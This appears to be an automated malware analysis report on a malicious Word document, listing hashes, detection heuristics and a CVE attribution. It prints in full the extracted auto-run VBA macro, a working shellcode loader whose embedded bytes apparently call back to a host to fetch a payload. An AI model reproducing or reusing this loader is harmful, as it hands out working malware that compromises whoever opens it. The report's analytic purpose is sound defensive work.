Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 94e06be9d815c3b8…

MALICIOUS

Office (OLE)

35.5 KB Created: 2017-09-22 04:51:00 Authoring application: Microsoft Office Word First seen: 2017-10-10
MD5: e91a09e630995c7c8a96bdea61e0f512 SHA-1: 657d93996d7aa05de3a313835f204968ebc3d374 SHA-256: 94e06be9d815c3b85c49f69900e2212f4ff0aaf082f59632c8b08ae0e54d64eb
206 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample is a malicious Microsoft Word document that exploits CVE-2007-3899, a memory corruption vulnerability. The VBA macro uses the VirtualAlloc API, indicating it is likely preparing to allocate memory for and execute a payload. The presence of AutoOpen and other auto-execution markers suggests the exploit is designed to run automatically upon opening the document.

Heuristics 9

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim Dmqw As Long, Jfdiuws As Variant, Zgbj As Long
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4316 bytes
SHA-256: 0e6c7c7d5ae39fed15a30f8c9484b4b6fe1f2f3192a5f54250a20b84ae9052b2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
#If VBA7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Nzfuckmm As Long, ByVal Gydigphy As Long, ByVal Tli As LongPtr, Jbd As Long, ByVal Woxyopmqn As Long, Litol As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Oecv As Long, ByVal Isspj As Long, ByVal Qqhlprbxw As Long, ByVal Rhbfuc As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Updsxck As LongPtr, ByRef Lyh As Any, ByVal Dwsxlorhw As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Nzfuckmm As Long, ByVal Gydigphy As Long, ByVal Tli As Long, Jbd As Long, ByVal Woxyopmqn As Long, Litol As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Oecv As Long, ByVal Isspj As Long, ByVal Qqhlprbxw As Long, ByVal Rhbfuc As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Updsxck As Long, ByRef Lyh As Any, ByVal Dwsxlorhw As Long) As Long
#End If

Sub Auto_Open()
    Dim Dmqw As Long, Jfdiuws As Variant, Zgbj As Long
#If VBA7 Then
    Dim Wgcb As LongPtr, Rmcirt As LongPtr
#Else
    Dim Wgcb As Long, Rmcirt As Long
#End If
    Jfdiuws = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, 255, 213, 49, 219, 83, 83, 83, 83, _
83, 104, 58, 86, 121, 167, 255, 213, 83, 83, 106, 3, 83, 83, 104, 187, 1, 0, 0, 232, 80, 1, 0, 0, 47, 71, 79, 50, 73, 118, 117, 97, 119, 100, 113, 77, 89, 116, 66, 109, 49, 81, 88, 67, 79, 72, 81, 104, 97, 71, 77, 53, 121, 82, 69, 85, 69, 84, 86, 114, 90, 111, 48, 67, 103, 97, 106, 67, 97, 80, 121, 85, 118, 115, 89, 56, 68, 81, 104, 79, _
79, 100, 121, 115, 109, 88, 80, 122, 102, 71, 100, 65, 77, 56, 71, 52, 89, 114, 48, 105, 76, 99, 103, 72, 114, 65, 110, 88, 108, 114, 56, 90, 76, 110, 89, 75, 104, 109, 113, 115, 55, 89, 83, 45, 75, 104, 104, 79, 113, 98, 78, 88, 68, 50, 95, 49, 71, 79, 109, 112, 115, 99, 109, 121, 69, 65, 114, 106, 53, 55, 97, 69, 113, 122, 67, 90, 83, 65, 69, 45, _
71, 106, 87, 83, 106, 66, 53, 72, 103, 100, 70, 83, 101, 69, 55, 120, 53, 48, 122, 115, 98, 85, 99, 88, 49, 109, 65, 79, 45, 51, 95, 80, 113, 74, 71, 100, 83, 54, 76, 57, 48, 109, 88, 104, 122, 109, 77, 100, 103, 95, 79, 78, 74, 106, 53, 52, 0, 80, 104, 87, 137, 159, 198, 255, 213, 137, 198, 83, 104, 0, 50, 224, 132, 83, 83, 83, 87, 83, 86, 104, _
235, 85, 46, 59, 255, 213, 150, 106, 10, 95, 104, 128, 51, 0, 0, 137, 224, 106, 4, 80, 106, 31, 86, 104, 117, 70, 158, 134, 255, 213, 83, 83, 83, 83, 86, 104, 45, 6, 24, 123, 255, 213, 133, 192, 117, 20, 104, 136, 19, 0, 0, 104, 68, 240, 53, 224, 255, 213, 79, 117, 205, 232, 74, 0, 0, 0, 106, 64, 104, 0, 16, 0, 0, 104, 0, 0, 64, 0, 83, 104, _
88, 164, 83, 229, 255, 213, 147, 83, 83, 137, 231, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, 150, 137, 226, 255, 213, 133, 192, 116, 207, 139, 7, 1, 195, 133, 192, 117, 229, 88, 195, 95, 232, 107, 255, 255, 255, 49, 57, 50, 46, 49, 54, 56, 46, 48, 46, 49, 50, 49, 0, 187, 240, 181, 162, 86, 106, 0, 83, 255, 213)

    Wgcb = VirtualAlloc(0, UBound(Jfdiuws), &H1000, &H40)
    For Zgbj = LBound(Jfdiuws) To UBound(Jfdiuws)
        Dmqw = Jfdiuws(Zgbj)
        Rmcirt = RtlMoveMemory(Wgcb + Zgbj, Dmqw, 1)
    Next Zgbj
    Rmcirt = CreateThread(0, 0, Wgcb, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

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